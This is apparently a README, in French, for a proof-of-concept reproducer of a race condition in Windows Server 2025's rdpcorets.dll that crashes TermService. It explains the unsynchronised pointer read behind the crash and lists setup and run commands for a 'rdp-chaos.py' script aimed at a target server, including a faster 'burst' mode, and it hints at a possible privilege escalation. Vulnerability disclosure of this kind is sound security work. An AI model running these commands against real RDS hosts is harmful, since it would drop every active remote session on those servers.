
PoC reproducteur pour CVE-2026-50369, une condition de course TOCTOU dans rdpcorets.dll sur les hôtes de session RDS Windows Server 2025 provoquant un DoS de TermService via la déconnexion de session RDP.
reproducteur pour une condition de course TOCTOU dans rdpcorets.dll!CRdpPipeGfxPlugin::Enable sur les hôtes de session RDS Windows Server 2025.
je l'ai signalé comme un DoS ; le chemin de code semble aussi permettre d'une manière ou d'une autre une EoP. ce reproducteur est un PoC pour le chemin DoS uniquement.
Enable lit un pointeur d'interface COM à this+0x60 deux fois sans synchronisation. TerminateInstance efface le même champ en dehors de sa propre portée de section critique. Les deux s'exécutent simultanément sur le pool de threads NT via les work items d'arrivée et de retrait de périphérique PnP. La seconde lecture déréférence null → violation d'accès → crash de TermService → déconnexion de toutes les sessions RDP actives.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030